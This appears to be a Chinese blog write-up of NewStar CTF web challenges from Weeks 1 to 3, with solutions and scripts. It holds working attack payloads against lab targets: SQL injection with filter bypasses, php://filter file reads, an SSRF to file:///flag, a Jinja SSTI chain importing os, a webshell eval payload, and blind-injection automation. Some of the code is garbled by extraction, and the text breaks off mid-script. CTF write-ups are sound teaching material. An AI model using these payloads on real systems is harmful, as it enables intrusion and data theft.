跳到主要内容
NewStar CTF Web 比赛题目解析与解题思路 | 极客日志
编程语言 大前端 算法
NewStar CTF Web 比赛题目解析与解题思路 综述由AI生成 NewStar CTF 竞赛中的 Web 类题目解法,涵盖 Week1 至 Week3 的多个挑战。涉及目录扫描、SQL 注入(含 SQLite)、文件上传绕过、SSTI、SSRF、Git 泄露及逻辑漏洞等常见 Web 安全考点。通过代码审计、流量分析、Payload 构造等方式获取 Flag,提供了详细的解题步骤与脚本示例。
魔尊 发布于 2026/4/6 更新于 2026/5/22 24 浏览week1
multi-headach3
什么叫机器人控制了我的头?
【难度:简单】
dirsearch 扫目录:
找到 /robots.txt,访问:
访问 hidden.php:
翻译提示,f12 打开捕获流量包,发现 flag:
flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}
strange_login
题目内容:
我当然知道 1=1 了!?
【难度:简单】
经典登录框,经典提示,万能密码 admin' or 1=1 #:
flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}
宇宙的中心是 php
题目内容:
所有光线都逃不出去…但我知道这不会难倒你的
(本题下发后,请通过 http 访问相应的 ip 和 port,例如 nc ip port,改为 http://ip:port/)
【难度:简单】
访问题目:
发现只是一个页面,习惯性使用 f12,发现打不开,Ctrl+u 也不行,最后使用 ctrl+shift+I 打开,发现:
访问 s3kret.php:
<?php highlight_file (__FILE__ );include "flag.php" ;if (isset ($_POST ['newstar2025' ])){$answer =$_POST ['newstar2025' ];if (intval ($answer )!=47 &&intval ($answer ,0 )==47 ){echo $flag ;}else {echo "你还未参透奥秘" ;}}
审计后发现,要求 POST 输入 newstar2025 的值满足:
intval($answer)(默认按十进制或通过 (int) 强制转换) 47,且 (第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制) 47。
不是
intval($answer, 0)
等于
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}
黑客小 W 的故事(1)
题目内容:
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
原来是需要 get 传参 shipin,参数值为 mogubaozi:
能看懂了,这里 post 要传入的应该是前文提到过的 guding:
这里需要使用 DELETE 方法传入 chongzi,截取改包:
flag{9fef7934-2c71-4225-813d-849df714c8fa}
我真得控制你了
题目内容:
小小 web 还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
functioncheckShieldStatus (){const shield = document.getElementById ('shieldOverlay');const button = document.getElementById ('accessButton');if (!shield){ button .classList .add ('active'); button .disabled =false;}else{ button .classList .remove ('active'); button .disabled =true;}}
checkShieldStatus ();setInterval (checkShieldStatus,500 ); document.getElementById ('accessButton').addEventListener ('click',function(){if (!document.getElementById('shieldOverlay')){ document.getElementById ('nextLevelForm').submit ();}}); document.addEventListener ('contextmenu',function(e){ e.preventDefault ();});(function(){ document.addEventListener ('keydown',function(e){
if (e.keyCode ===123 ){ e.preventDefault ();showDevToolsWarning ();}
if (e.ctrlKey && e.shiftKey && e.keyCode ===73 ){ e.preventDefault ();showDevToolsWarning ();}
if (e.ctrlKey && e.shiftKey && e.keyCode ===74 ){ e.preventDefault ();showDevToolsWarning ();}
if (e.metaKey && e.altKey && e.keyCode ===73 ){ e.preventDefault ();showDevToolsWarning ();}
if (e.metaKey && e.altKey && e.keyCode ===74 ){ e.preventDefault ();showDevToolsWarning ();}
if (e.ctrlKey && e.keyCode ===85 ){ e.preventDefault ();showDevToolsWarning ();}});
let devtools =false;
const threshold =160 ;
functioncheckDevTools (){const widthThreshold = window.outerWidth - window.innerWidth > threshold;const heightThreshold = window.outerHeight - window.innerHeight > threshold;const orientation = widthThreshold ?'vertical':'horizontal' ;if (!(heightThreshold && widthThreshold)&&((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized)|| widthThreshold || heightThreshold)){ devtools =true;showDevToolsWarning ();}else{ devtools =false;}}
setInterval (checkDevTools,1000 );
functionshowDevToolsWarning (){const warning = document.getElementById ('devToolsWarning'); warning.style .display ='flex '; document.addEventListener ('keydown',functioncloseWarning(e){if (e.key ==='Escape'){ warning.style .display ='none '; document.removeEventListener ('keydown', closeWarning);}});}
if (typeof console !=="undefined"){if (typeof console.log !=='undefined'){ console.log =function (){};}
if (typeof console.warn !=='undefined'){ console.warn =function (){};}
if (typeof console.error !=='undefined'){ console.error =function (){};}
if (typeof console.info !=='undefined'){ console.info =function (){};}}})();
为了绕过 JS 限制,我们在浏览器 Console 里运行:
document .getElementById ('nextLevelForm' ).submit ();
成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111
<?php error_reporting(0 );functiongenerate_dynamic_flag ($secret ){returngetenv ("ICQ_FLAG" )?:'default_flag' ;}
if (isset ($_GET ['newstar' ])){$input =$_GET ['newstar' ];if (is_array ($input )){die ("恭喜掌握新姿势" );}
if (preg_match ('/[^\d*\/~()\s]/' ,$input )){die ("老套路了,行不行啊" );}
if (preg_match ('/^[\d\s]+$/' ,$input )){die ("请输入有效的表达式" );}$test =0 ;try { @eval ("\$test = $input ;" );}catch (Error $e ){die ("表达式错误" );}
if ($test ==2025 ){$flag =generate_dynamic_flag ($flag_secret );echo "<div>拿下 flag!</div>" ;echo "<div><div>FLAG: {$flag} </div></div>" ;}else {echo "<div>大哥哥泥把数字算错了:$test ≠ 2025</div>" ;}}else {?> <?php }?>
允许的字符只有:0-9, *, /, ~, (, ), 空白。(由 preg_match('/[^탒*/~()�]/', $input) 限定)
禁止 纯数字/空白(/^[탒�]+$/ 会拒绝),所以必须包含至少一个运算符(*、/、~、())。
最终执行:@eval("\$test = $input;"),判断 $test == 2025。
flag 来源是环境变量 ICQ_FLAG(否则返回 default_flag)。
因为 45 * 45 = 2025,且 * 属于允许字符,所以 payload 为:newstar=45*45
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}
别笑,你也过不了第二关
题目内容:
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
const game = document.getElementById("game" )
let targetScores =[30 ,1000000 ]
let currentLevel =0
let gameEnded =false
let finishSpawned =false
let playerX =180
let gateInterval =null
document.addEventListener("keydown",(e)=>{
if(e.key ==="ArrowLeft" )movePlayer(-100 )
if(e.key ==="ArrowRight" )movePlayer(100 )
})
functionmovePlayer(offset){
let newX = playerX + off set
if(newX <0|| newX >340)return
playerX = newX
player.style.left = playerX +"px"
}
functionspawnGate(){
if(steps >= maxSteps || gameEnded || finishSpawned)return
steps++
const gate = document.createElement("div" )
gate.className ="gate"
let x = Math.random()<0.5 ?60 :260
gate.style.left = x +"px"
let isAdd = Math.random()<0.5
if(isAdd){ gate.dataset.value =10
else{ gate.dataset.value =-10
game.appendChild(gate)
let y =0
const fall =setInterval(()=>{
y +=5
gate.style.top = y +"px"
const playerRect = player.getBoundingClientRect()
const gateRect = gate.getBoundingClientRect()
if(!(playerRect.right < gateRect.left || playerRect.left > gateRect.right || playerRect.bottom < gateRect.top || playerRect.top > gateRect.bottom)){
score +=parseInt(gate.dataset.value)
scoreEl.innerText ="分数:" + score
clearInterval(fall)
gate.remove()
if(steps >= maxSteps &&!finishSpawned)spawnFinishLine()
}
if(y >600){clearInterval(fall)
}
functionspawnFinishLine(){
finishSpawned =true
const finish = document.createElement("div" )
finish.className ="finish-line"
finish.style.left ="0px"
game.appendChild(finish)
let y =0
const fall =setInterval(()=>{
y +=5
finish.style.top = y +"px"
const playerRect = player.getBoundingClientRect()
const finishRect = finish.getBoundingClientRect()
if(!(playerRect.right < finishRect.left || playerRect.left > finishRect.right || playerRect.bottom < finishRect.top || playerRect.top > finishRect.bottom)){
clearInterval(fall)
}
if(y >600){clearInterval(fall)
}
functionendLevel(){
if(gameEnded)return
clearInterval(gateInterval)
if(score >= targetScores[currentLevel] ){
alert(`恭喜通过第 ${currentLevel +1} 关!得分:${score}`)
currentLevel++
if(currentLevel < targetScores.length){
// 下一关
resetLevel(currentLevel)
startGame()
}else{// 全部通关
gameEnded =true
const formData =newURLSearchParams()
formData.append("score", score)
fetch("/flag.php",{
method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},
body: formData.toString()
}).then(res => res.text()).then(data=>{
alert("服务器返回:\n"+ data)
}).catch(err =>{
alert("请求失败:"+ err)
})
}
}else{
alert(`第 ${currentLevel +1} 关未达成目标分数 (目标:${targetScores[currentLevel] }),将重新开始本关!`)
resetLevel(currentLevel)
startGame()
}
}
functionresetLevel(levelIndex){
score =0
scoreEl.innerText ="分数:" + score
steps =0
finishSpawned =false
levelEl.innerText ="关卡:" +(levelIndex +1 )
[...game.querySelectorAll('.gate, .finish-line')] .forEach(e => e.remove())
}
functionstartGame(){
gateInterval =setInterval(spawnGate,1500 )
}
startGame()
document.addEventListener("visibilitychange",()=>{
if(document.hidden){
if(gateInterval){clearInterval(gateInterval)
}else{
if(!gameEnded &&!gateInterval){ gateInterval =setInterval(spawnGate,1500 )
})
score =1000000
endLevel()
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}
week2
DD 加速器
题目内容:
D 师傅在服务器上部署了一个加速器,并且提供一个页面来 ping 游戏服务器…
【难度:简单】
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}
搞点哦润吉吃吃橘
题目内容:
Doro 把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题…
【难度:简单】
开局一个登录框,尝试弱口令无果,ctrl+u 查看源代码,发现提示:
#!/usr/bin/env python3# coding: utf-8 import requests import re import time import sys BASE ="https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000" # 登录表单(你提供的)LOGIN_PATH ="/login" START_PATH ="/start_challenge" VERIFY_PATH ="/verify_token" USERNAME ="Doro" PASSWORD ="Doro_nJlPVs_%40123" # 注意:这是示例,生产环境请妥善保管凭据deflogin (session: requests.Session)->bool:url = BASE + LOGIN_PATHsession.headers.update ({"Origin": BASE,"Referer" : BASE +"/login" ,"Content-Type" :"application/x-www-form-urlencoded" ,"User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" ,"Accept" :"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" ,"Sec-Fetch-Site" :"same-origin" ,"Sec-Fetch-Mode" :"navigate" ,"Sec-Fetch-User" :"?1" ,"Sec-Fetch-Dest" :"document" ,})data =f"username={USERNAME}&password={PASSWORD}"resp = session.post (url, data=data, allow_redirects=False)print ("[login] status:", resp.status_code)print ("[login] headers:", resp.headers)if"Set-Cookie"in resp.headers and"session="in resp.headers ["Set-Cookie" ] and"Expires=Thu, 01 Jan 1970 "notin resp.headers ["Set-Cookie" ] :print ("[login] 登录成功 ->" , resp.headers["Set-Cookie" ])returnTrueprint ("[login] 登录失败,响应内容:" , resp.text[:300 ])returnFalsedeffetch_challenge (session: requests.Session):url = BASE + START_PATHresp = session.post (url)print ("[start_challenge] status:" , resp.status_code)try:data = resp.json ()
except Exception as e:print ("[start_challenge] 无法解析为 JSON:" , e)print ("Response body:" , resp.text[:500 ])returnNonereturn data defparse_and_compute_token (data:dict):
# 优先使用单独字段(如果存在)
if"multiplier" in data or"xor_value" in data:
try:multiplier =int (data.get ("multiplier" ))if data.get ("multiplier" )isnotNoneelseNone
except Exception: multiplier =None
xor_raw = data.get ("xor_value" )
xor_value =None
if xor_raw isnotNone:
try:
ifisinstance (xor_raw,str)and xor_raw.lower ().startswith ("0x" ): xor_value =int (xor_raw,16 )
else: xor_value =int (xor_raw)
except: xor_value =None
# 如果 expression 字段存在且包含 time.time () 的指示,优先使用实时 time expr = data.get ("expression" ,"" )
if"time.time" in expr or"int(time.time" in expr: tsource =int (time.time ())
else:# 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳)
m =None
if expr: m = re.search (r'\(\s*(\d+)\s*\*\s*\d+\s*\)' , expr)
if m: tsource =int (m.group (1 ))
else:# 如果没有 expression 且没有明确时间源,使用当前时间(较保险)tsource =int (time.time ())
if multiplier isNone:# 若 multiplier 字段不存在,尝试从 expression 中提取 expr = data.get ("expression" ,"" )
m2 = re.search (r'\*\s*(\d+)\s*\)' , expr)
if m2: multiplier =int (m2.group (1 ))
if multiplier isNoneor xor_value isNone:raise ValueError ("无法从响应中解析 multiplier 或 xor_value。data: {}" .format (data))
token =(tsource * multiplier)^ xor_value
return token,{"tsource": tsource,"multiplier" : multiplier,"xor_value" : xor_value,"method" :"fields_or_expr" }
# 如果没有单独字段,尝试从 expression 字段解析
expr = data.get ("expression")
ifnot expr:raise ValueError ("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}" .format (data))
# 判断 expression 是否包含 int (time.time ())
if"time.time" in expr: tsource =int (time.time ())
else:# 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475 ) )
m_time = re.search (r'\(\s*(\d+)\s*\*\s*\d+\s*\)' , expr)
if m_time: tsource =int (m_time.group (1 ))
else:# 兜底使用当前时间 tsource =int (time.time ())
# 提取 multiplier
m_mul = re.search (r'\*\s*(\d+)\s*\)' , expr)
ifnot m_mul:raise ValueError ("无法从 expression 提取 multiplier。expr: {}" .format (expr))
multiplier =int (m_mul.group (1 ))
# 提取 xor 值(支持 0 xHEX 或 十进制)
m_xor = re.search (r'\^\s*(0x[0-9a-fA-F]+|\d+)' , expr)
ifnot m_xor:raise ValueError ("无法从 expression 提取 xor_value。expr: {}" .format (expr))
xor_raw = m_xor.group (1 )
xor_value =int (xor_raw,16 )if xor_raw.lower ().startswith ("0x" )elseint (xor_raw)
token =(tsource * multiplier)^ xor_value
return token,{"tsource": tsource,"multiplier" : multiplier,"xor_value" : xor_value,"method" :"expr" }
defsubmit_token (session: requests.Session, token):url = BASE + VERIFY_PATHpayload ={"token": token}# 显式声明本次请求为 JSON,覆盖全局 Content -Typeresp = session.post (url, json=payload, headers={"Content-Type":"application/json"})print ("[verify_token] status:", resp.status_code)try:print ("[verify_token] json:" , resp.json ())
except Exception:print ("[verify_token] text:" , resp.text[:1000 ])
return resp defmain ():s = requests.Session ()
s.headers.update ({"User-Agent":"auto-token-bot/1.0" ,"Accept" :"*/*" ,})ok = login (s)
ifnot ok:print ("登录失败,停止。请检查用户名/密码或网络。" )
return
data = fetch_challenge (s)
if data isNone:print ("无法获取挑战数据,停止。" )
return
print ("challenge data:" , data)
try:token, info = parse_and_compute_token (data)
except Exception as e:print ("解析/计算 token 失败:" , e)
return
print ("计算得到 token =" , token,"(详情:" , info,")" )
# 立即提交
resp = submit_token (s, token)
if __name__ =="__main__" : main ()
flag{c596b46c-3c82-4416-9e70-538104015062}
白帽小 K 的故事(1)
题目内容:
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
确定上传成功,但是不知道为何无法利用,没办法,只能上传执行 phpinfo() 试试:
flag{ 741 a9681- 2e6 c - 4486 - b767- 557e907 c8863}
小 E 的管理系统
题目内容:
小 E 开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小 E 特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的 SQL 拼接——你能绕过小 E 的防火墙,拿到数据库里的秘密吗?
【难度:困难】
防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
发现没有 databases() 函数,猜测可能不是 mysql 数据库,经过探测,确定是 sqllite:
这里是因为查询列数与显示不一样,所以报错,接下来探测列数:
-1 UNIONselect*FROM (SELECT0)AS A CROSSJOIN (SELECT2)AS B CROSSJOIN (SELECT2)AS C CROSSJOIN (SELECT3)AS D CROSSJOIN (SELECT4)AS E
-1 %0aUNION%0aselect%0a *%0aFROM (SELECT%0a0 )%0aAS%0aA%0aCROSS%0aJOIN%0a (SELECT%0a2 )%0aAS%0aB%0aCROSS%0aJOIN%0a (SELECT%0a2 )%0aAS%0aC%0aCROSS%0aJOIN%0a (SELECT%0a3 )%0aAS%0aD%0aCROSS%0aJOIN%0a (SELECT%0a4 )%0aAS%0aE
-1 UNIONselect*FROM (SELECT0)AS A CROSSJOIN (SELECT2)AS B CROSSJOIN (SELECT sqlite_version())AS C CROSSJOIN (SELECT3)AS D CROSSJOIN (SELECT4)AS E
-1 %0aUNION%0aselect%0a *%0aFROM (SELECT%0a0 )%0aAS%0aA%0aCROSS%0aJOIN%0a (SELECT%0a2 )%0aAS%0aB%0aCROSS%0aJOIN%0a (SELECT%0asqlite_version ())%0aAS%0aC%0aCROSS%0aJOIN%0a (SELECT%0a3 )%0aAS%0aD%0aCROSS%0aJOIN%0a (SELECT%0a4 )%0aAS%0aE
-1 %0aUNION%0aselect%0a *%0aFROM (SELECT%0a0 )%0aAS%0aA%0aCROSS%0aJOIN%0a (SELECT%0a2 )%0aAS%0aB%0aCROSS%0aJOIN%0a (SELECT%0asql%0afrom%0asqlite_master )%0aAS%0aC%0aCROSS%0aJOIN%0a (SELECT%0a3 )%0aAS%0aD%0aCROSS%0aJOIN%0a (SELECT%0a4 )%0aAS%0aE
发现有一个 sys_config 表,表内的字段为:id,config_key,config_value。
因为这里 , 被 ban 了,* 的话无法输出,只能挨个查询具体的值,最后使用:
-1 UNIONselect*FROM (SELECT0)AS A CROSSJOIN (SELECT2)AS B CROSSJOIN (select config_value from sys_config)AS C CROSSJOIN (SELECT3)AS D CROSSJOIN (SELECT4)AS E # 编码后
-1% 0 aUNION%0 aselect%0 a*%0 aFROM (SELECT%0 a0)%0 aAS%0 aA%0 aCROSS%0 aJOIN%0 a (SELECT%0 a2)%0 aAS%0 aB%0 aCROSS%0 aJOIN%0 a (select%0 aconfig_value%0 afrom%0 asys_config)%0 aAS%0 aC%0 aCROSS%0 aJOIN%0 a (SELECT%0 a3)%0 aAS%0 aD%0 aCROSS%0 aJOIN%0 a (SELECT%0 a4)%0 aAS%0 aE
flag{1148f076-61cb-457a-818f-d910ef21b142}
真的是签到诶
题目内容:
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
<?php highlight_file(__FILE__ );$cipher =$_POST ['cipher' ]??'' ;functionatbash ($text ){$result ='' ;foreach (str_split ($text )as $char ){if (ctype_alpha ($char )){$is_upper =ctype_upper ($char );$base =$is_upper ?ord ('A' ):ord ('a' );$offset =ord (strtolower ($char ))-ord ('a' );$new_char =chr ($base +(25 -$offset ));$result .=$new_char ;}else {$result .=$char ;}}return $result ;}
if ($cipher ){$cipher =base64_decode ($cipher );$encoded =atbash ($cipher );$encoded =str_replace (' ' ,'' ,$encoded );$encoded =str_rot13 ($encoded ); @eval ($encoded );exit ;}
$question ="真的是签到吗?" ;$answer ="真的很签到诶!" ;$res =$question ."<br>" .$answer ."<br>" ;
echo $res .$res .$res .$res .$res ;?> 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!
审计后发现,这是一个 webshell 解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的 payload:
cipher (Base64 输入) ↓ base64_decode ↓ Atbash (字母翻转) ↓ 去掉空格 ↓ str_rot13 ↓ eval ()
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}
week3
ez-chain
题目内容:
铁索连环!无懈可击…?
【难度:简单】
<?php header('Content-Type: text/html; charset=utf-8' );functionfilter ($file ){$waf =array ('/' ,':' ,'php' ,'base64' ,'data' ,'zip' ,'rar' ,'filter' ,'flag' );foreach ($wafas$waf_word ){if (stripos ($file ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}returntrue;}
functionfilter_output ($data ){$waf =array ('f' );foreach ($wafas$waf_word ){if (stripos ($data ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}while (true ){$decoded =base64_decode ($data ,true );if ($decoded ===false ||$decoded ===$data ){break ;}$data =$decoded ;}
foreach ($wafas$waf_word ){if (stripos ($data ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}returntrue;}
if (isset ($_GET ['file' ])){$file =$_GET ['file' ];if (filter ($file )!==true ){die ();}$file =urldecode ($file );$data =file_get_contents ($file );if (filter_output ($data )!==true ){die ();}echo $data ;}
highlight_file (__FILE__ );?>
审计发现,漏洞点在 file_get_contents,可以使用伪协议进行任意文件读取,但是 waf 限制了部分伪协议,并且要求读到的文件内容中不能带有 f 字样。
if (isset ($_GET ['file' ])){$file =$_GET ['file' ];if (filter ($file )!==true ){die ();}$file =urldecode ($file );$data =file_get_contents ($file );if (filter_output ($data )!==true ){die ();}echo $data ;}
functionfilter ($file ){$waf =array ('/' ,':' ,'php' ,'base64' ,'data' ,'zip' ,'rar' ,'filter' ,'flag' );foreach ($wafas$waf_word ){if (stripos ($file ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}returntrue;}
这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要 url 双重编码即可。
接下来经过一次 url 解码,执行 file_get_contents() 后,进入 filter_output()
functionfilter_output ($data ){$waf =array ('f' );foreach ($wafas$waf_word ){if (stripos ($data ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}while (true ){$decoded =base64_decode ($data ,true );if ($decoded ===false ||$decoded ===$data ){break ;}$data =$decoded ;}
foreach ($wafas$waf_word ){if (stripos ($data ,$waf_word )!==false ){echo "waf:" .$waf_word ;returnfalse;}}returntrue;}
它会对读取文件的内容进行判断,匹配是否存在 f,也不区分大小写。然后,如果是被 base64 编码过的内容,就会循环解码,直到不能解码为止。
所以我们的思路很明确,利用 url 双重编码使用 php://filter 伪协议读取文件内容,然后对文件内容先进行 rot13 编码读取 flag.
php://filter/string.rot13/resource=/flag
https:// eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80 /?file=%2 5%3 7%3 0%2 5%3 6%3 8%2 5%3 7%3 0%2 5%3 3%6 1%2 5%3 2%6 6%2 5%3 2%6 6%2 5%3 6%3 6%2 5%3 6%3 9%2 5%3 6%6 3%2 5%3 7%3 4%2 5%3 6%3 5%2 5%3 7%3 2%2 5%3 2%6 6%2 5%3 7%3 3%2 5%3 7%3 4%2 5%3 7%3 2%2 5%3 6%3 9%2 5%3 6%6 5%2 5%3 6%3 7%2 5%3 2%6 5%2 5%3 7%3 2%2 5%3 6%6 6%2 5%3 7%3 4%2 5%3 3%3 3%2 5%3 2%6 6%2 5%3 7%3 2%2 5%3 6%3 5%2 5%3 7%3 3%2 5%3 6%6 6%2 5%3 7%3 5%2 5%3 7%3 2%2 5%3 6%3 3%2 5%3 6%3 5%2 5%3 3%6 4%2 5%3 2%6 6%2 5%3 6%3 6%2 5%3 6%6 3%2 5%3 6%3 1%2 5%3 6%37
flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}
mygo!!!
题目内容:
mygo 的音乐好好听,要全部下下来,flag 也可以顺手(
【难度:简单】
扫描目录发现有 flag.php,但是直接访问是 403.
<?php $client_ip =$_SERVER ['REMOTE_ADDR' ];
if ($client_ip !=='127.0.0.1' &&$client_ip !=='::1' ){header ('HTTP/1.1 403 Forbidden' );echo "你是外地人,我只要\"本地\"人" ;exit ;}
highlight_file (__FILE__ );if (isset ($_GET ['soyorin' ])){$url =$_GET ['soyorin' ];echo "flag 在根目录" ;
$ch =curl_init ($url );
curl_setopt ($ch ,CURLOPT_RETURNTRANSFER,false );
curl_setopt ($ch ,CURLOPT_FOLLOWLOCATION,true );
curl_setopt ($ch ,CURLOPT_BUFFERSIZE,8192 );
curl_exec ($ch );
curl_close ($ch );
exit ;}
?>
审计一下,发现可以利用前面可转发的 ssrf 来绕过本地访问,剩下的伪协议直接出:
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}
小 E 的秘密计划
题目内容:
小 E 最近在秘密研发一个代号为'Project X'的系统。然而,小 E 在开发和部署过程中,习惯性地留下了许多'不经意'的痕迹——无论是临时的备份,还是版本管理上的小疏忽,甚至是 Mac 系统自动生成的文件,都可能成为你解开'Project X'秘密的关键…
【难度:简单】
可以直接访问 public,进入到登录页面,已经提醒无法爆破,只能另寻他法。
进入到 public 目录下,发现存在 .git 文件夹,想到可能是考的 git 泄露。
<?php require_once 'user.php' ;$userData =getUserData ();if ($_SERVER ['REQUEST_METHOD' ]==='POST' ){$username =$_POST ['username' ]??'' ;$password =$_POST ['password' ]??'' ;if ($username ===$userData ['username' ]&&$password ===$userData ['password' ]){header ('Location: /secret-xxxxxxxxxxxxxxxxxxx' );exit ();}else {echo '登录失败,在 git 里找找吧' ;exit ();}}
账号密码都在 user.php 中,所以需要从 git 中恢复 user.php。
在 .git/logs/HEAD 文件中发现其中隐含一个测试的 brach,会被删除。
git ls-tree -r --name-only 353 b98f7c2fe77a5a426bf73576f5113820c4669
使用 git show commit -b 查看文件内容
用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de
进入之后提示 mac,所以是 .DS_Store 文件泄露,直接在当前路径拼接下载并查看内容:
拼接中间的 ffffllllaaaagggg114514,拿到 flag
flag{ e08813e1- a595- 464 c - 85 c5- 67 b474f83601}
mirror_gate
题目内容:
小 M 是一名安全爱好者,他为自己搭建了一个个人文件上传服务。他声称:'我的服务器只允许上传合法且安全的文件,其他任何类型的文件都会被无情地拒绝!'
然而,真的是这样吗?请设法找出他系统中的应用配置缺陷,突破上传限制。
【难度:中等】
后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:
对 <?php 有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现 .webp 可以被解析
flag{fd8af3ec-7983-4724-ad82-e3f84149346f}
who'ssti
题目内容:
写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!
【难度:中等】
from flask import Flask, jsonify, request, render_template_string, render_template import sys, random func_List = ["get_close_matches" ,"dedent" ,"fmean" ,"listdir" ,"search" ,"randint" ,"load" ,"sum" ,"findall" ,"mean" ,"choice" ] need_List = random.sample(func_List,5 ) need_List =dict.fromkeys(need_List,0 ) BoleanFlag =False RealFlag =__import__("os" ).environ.get ("ICQ_FLAG" ,"flag{test_flag}" )# 清除 ICQ_FLAG__import__("os" ).environ["ICQ_FLAG" ]=""
deftrace_calls(frame, event , arg):if event ==
if func_name in need_List: need_List[func_name]=1
ifall(need_List.values()):global BoleanFlag BoleanFlag =Truereturn trace_calls app = Flask(__name__)
@app.route(
defindex(): submit = request.form.get (
if BoleanFlag:return jsonify({"flag" : RealFlag})
return jsonify({"status" :"OK" })
return render_template_string(
if __name__ ==
{%set __imp = '' .__class__.__mro__[1 ].__subclasses__()[IDX].__init__.__globals__['__builtins__' ]['__import__' ]%}{%set _os = __imp('os' )%}{%set _re = __imp('re' )%}{%set _difflib = __imp('difflib' )%}{%set _textwrap = __imp('textwrap' )%}{%set _statistics = __imp('statistics' )%}{%set _random = __imp('random' )%}{%set _json = __imp('json' )%}{%set _io = __imp('io' )%}{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}{%set _f = _io.StringIO('"x"' )%}{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}{%set a = _difflib.get_close_matches('a' ,['a' ])%}{%set b = _textwrap.dedent(' x' )%}{%set c = _statistics.fmean([1 ,2 ,3 ])%}{%set d = _os.listdir('.' )%}{%set e = _re.search('a' ,'a' )%}{%set f = _random.randint(1 ,2 )%}{%set g = _json.loads('"x"' )%}{%set h = _json.load(_f)%}{%set i = _re.findall('.' ,'a' )%}{%set j = _statistics.mean([1 ,2 ])%}{%set k = _random.choice([1 ,2 ])%} Rendered.
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}
白帽小 K 的故事(2)
题目内容:
小 K 在泰拉大陆上漫步的过程中,遇到了形形色色的人,她把这些人记录在了她的超维空间数据库中。但是突生变故让她丢失了终端的控制权,只留下了备用终端。可是这个终端只有一个检查用户状态的接口,只有获取到数据库中的神秘代码才能够重新夺回控制权。帮她夺回权限吧!
【难度:中等】
盲注,通过字典 fuzz 之后发现,可以使用 () 来绕过对空格的过滤,这里给出自动化的脚本。
#!/usr/bin/env python3# -*- coding: utf-8 -*-import requests import time import sys import argparse # ---------------- 配置区(请按需修改) ---------------- URL ="https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search" HEADERS ={"Content -Type":"application/x-www-form-urlencoded" ,"User-Agent" :"Mozilla/5.0 (compatible)" }# 发送时的前后缀(保持你给出的格式)PREFIX ="name=amiya'and (" SUFFIX =")#"# 超时/重试/节流 TIMEOUT =6 RETRIES =2 SLEEP =0.03 # 每请求间隔,默认 30ms (可根据靶场调整)DEBUG =False# True 打印每条请求与响应,调试时开启# 可选:空格绕过(把空格替为 等),但既然要无空格风格,默认 False SPACE_BYPASS =False SPACE_REPLACEMENT =""# ----------------- HTTP 与判断函数 -----------------defsend_payload_raw (cond):if SPACE_BYPASS: cond = cond.replace (" " , SPACE_REPLACEMENT) payload =f"{PREFIX}{cond}{SUFFIX}" last_exc =Nonefor attempt inrange (RETRIES +1 ):try:if DEBUG:print (f"[DBG] -> {payload}" ) resp = requests.post (URL, data=payload, headers=HEADERS, timeout=TIMEOUT)try:return resp.json ()
